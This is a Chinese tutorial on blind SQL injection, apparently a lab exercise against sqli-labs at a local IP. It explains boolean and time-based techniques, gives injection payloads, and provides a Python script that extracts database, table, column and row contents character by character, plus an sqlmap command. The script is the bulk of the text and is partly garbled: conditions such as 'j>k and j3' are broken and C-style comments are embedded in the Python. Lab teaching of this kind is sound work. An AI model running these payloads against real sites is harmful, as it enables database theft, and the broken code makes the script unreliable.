盲注不同于联合注入等可以回显数据的注入。在 sql 注入过程中,sql 语句执行完成后,这些数据不能回显到前端页面,这种情况下我们不能通过页面的响应来直接得到我们想要的数据。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
布尔注入的核心思想是构造逻辑判断语句,利用对错、是否、0和1等具有逻辑性的组合来判断我们想要的数据是否存在或是否正确。
常用函数有left(),mid(),substr(),ord()
left(string, n):string为要截取的字符串,n为长度。
例如:
select left(database(),1)='w';
//猜数据库名字的第一个字母,错误返回0;
+------------------------+
| left(database(),1)='w' |
+------------------------+
| 0 |
+------------------------+select left(database(),1)='s';
//猜数据库名字的第一个字母,正确返回1;
+------------------------+
| left(database(),1)='s' |
+------------------------+
| 1 |
+------------------------+
ord(string):返回字符串的ASCII代码
select ord('s');
//查询字母s的ASCII代码
+----------+
| ord('s') |
+----------+
| 115 |
+----------+select ord(left(database(),1))=115;
//结合left()函数,查询数据库第一个字母的ASCII代码是否为115
+-----------------------------+
| ord(left(database(),1))=115 |
+-----------------------------+
| 1 |
+-----------------------------+
mid(string, start,[length]):截取字符串的一部分,start为开始位置,length为截取的长度,可省略。
select mid(database(),1,1)='s';
+-------------------------+
| mid(database(),1,1)='s' |
+-------------------------+
| 1 |
+-------------------------+
substr()和mid()函数实现的功能是一样的。另外还有一个substring()函数,也是一样的功能。
跟ord()函数作用一致的还有ascii()函数
上述函数在注入的时候只需要把string改成我们构造的语句就可以了。
select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='s';
+-------------------------------------------------------------------------------------------------------------+
//将substr中string的内容换成我们构造的SQL语句,我们就可以得到我们想要的,像这个语句中,我们就可以知道,当前数据库的第一个表名的第一个字符不为s
| substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='s' |
+-------------------------------------------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------------------------------------------+
延时注入常用的函数有sleep()和benchmark(),以及if函数
if语句:
if(expr1,expr2,expr3)//expr1结果为true则执行expr2,否则执行expr3
sleep()函数:以秒为单位,休眠多少秒后执行。报错情况下则不延时。一般配合if语句及其他函数一起使用
1' and sleep(5) %23 //判断注入类型
1' and select if((ord(substr(database(),1,1))=ascii(‘a’)),sleep(5),1)#
benchmark(count,expr)函数:对expr执行count次
select benchmark(5,sleep(1));
+-----------------------+
| benchmark(5,sleep(1)) |
+-----------------------+
| 0 |
+-----------------------+
1 row in set (5.00 sec)
盲注在注入的时候是比较费时间的,因为只能以猜测的方式去进行注入,因此对于盲注,自动化脚本的编写是必要的技能
以下是脚本代码的示例,之后的练习题可以在此基础之上进行修改:
#!/usr/bin/python3
# coding=utf-8
"""
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.2.15/sqli-labs/Less-62/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'Your Login name' #用于判断附加sql语句为真的字符,根据网页回显填写,一般需要对于bool判断具备不同回显的情况之下才行
def CurrentDatabase7():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = "1') and (length(database()))>"+str(j)+"--+" #所有payload根据实际情况填写,包括对sql注入的闭合方式,判断数据库名的长度
param = {
"id":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request,如果是POST提交方式
/*
payload1 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss" #所有payload根据实际情况填写
param = {
"uname":payload1,
"passwd":"pass",
"submit":"Submit",
}
response = requests.post(url, data = param, headers = headers) #GET方法发送含payload的request
如果是时间注入判断
stime=time.time()
response = requests.post(url, data = param, headers = headers)
etime=time.time()
if etime-stime>=2:
*/
#print(response.request.headers)
print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1') and length(database())="+str(i)+"--+"
param = {
"id":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1') and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of current database is "+str(db))
def Tables7():
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j3:
payload4 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1')) and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables in current database contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables in current database is "+str(tname))
def Columns7(table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j3:
payload7 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))>"+str(j)+"-- ss"
param = {
"id":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1')) and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database())))="+str(i)+"-- ss"
param = {
"id":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1')) and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content7(table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j3:
payload10 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
param = {
"id":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1')) and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
param = {
"id":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1')) and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
param = {
"id":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
if __name__=="__main__":
CurrentDatabase7()
#Tables7()
#Columns7("users")
#Content7("users",5,2)
对于此代码,使用less 6进行测试,至于其他关卡,操作基本相同,不多赘述
尝试使用sqlmap进行扫描
sqlmap -u http://192.168.2.15/sqli-labs/Less-7/?id= --dbs